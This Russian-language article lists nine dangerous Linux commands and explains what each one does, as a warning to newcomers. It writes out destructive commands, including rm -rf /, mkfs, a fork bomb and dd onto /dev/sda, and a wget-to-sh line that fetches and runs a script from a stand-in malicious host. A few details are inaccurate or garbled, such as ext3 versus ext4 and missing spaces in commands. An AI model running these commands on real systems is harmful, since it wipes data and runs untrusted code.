Операционная система Linux с открытым исходным кодом нарастила обороты со временем, но все таки ее еще нельзя назвать по настоящему популярной.
Многих останавливает проблема обучения Линукс, или просто момент перестройки с привычного Windows.
Так же, работа в “никсах” предполагает различые манипуляции с командной строкой.
Но если вы не используете команды Linux полностью отдавая отчет в своих действиях, вы можете потерять свои данные, или повредить свою ОС
В этой статье я собираюсь предоставить информации о опасных командах, на которые необходимо обратить внимание при использовании Linux.
1. Команда rm -rf
rm = используется для удаления файлов
rm -r = рекурсивно удаляет папку, даже если папка пустая
rm -f = команда удаляет файлы “только для чтения”
rm -rf / = удаление всего в корневом каталоге
rm -rf * = удаление всего в текущем каталоге
rm -rf . = удаление всего в текущей папке и подкаталогах
2. mkfs.ext4/dev/sda1
Уже рассматривали недавно mkfs, в статье о форматировании флешки на Linux.
mkfs.ext4/dev/sda1 – команда, которая форматирует весь жесткий диск и заменяет его новой ext3 файловой системой.
Как только вы выполните команду – все ваши данные потеряны и не могут быть восстановлены.
3. :(){:|:&};: -Fork Bomb
Фактически этой командой вы создаете функцию, которая циклически удваивается не может закончится.
Это безобразие будет продолжаться вплоть до того, пока не исчерпает системные ресурсы.
4. mv ~/dev/null – Перемещение корневого каталога в никуда
Перемещение чего-либо в /dev/null является тем же самым, что удаление.
Думайте о /dev/null как о пустоте.
По существу mv ~/dev/null посылает все ваши личные файлы в никуда.
5. wget http://malicious_source-O-| sh
Эта команда состоит в том, чтобы загрузить скрипт из источника, и выполнить его.
Команда ‘wget’ загружает скрипт, и команда ‘sh’ выполняет загруженный скрипт.
Нужно всегда загружать пакеты и скрипт от надежного источника.
6. dd if=/dev/random of=/dev/sda
Утилитой dd мы уже пользовались в статье “как создать образ Astra Linux”
the dd if=/dev/random of=/dev/sda удаляет все файлы/файловые системы жесткого диска.
7. > file
Команда ” > ” используется, чтобы сбросить содержание файл.
8. Команда > /dev/sda
Команда ” > /dev/sda ” еще более проста; любая команда, которую вы выполняете (вместо “команды”) запишет выходные данные в первый жесткий диск, заменив все файлы и папки.
Эта команда поочередно повреждает вашу всю файловую систему.
9. rm -f /usr/bin/sudo;rm -f /bin/su
Эти команды позволяют отключить две из самых важных команд на Linux: sudo и su.
Эти два действия позволяют вам выполнять другие команды с полномочиями root.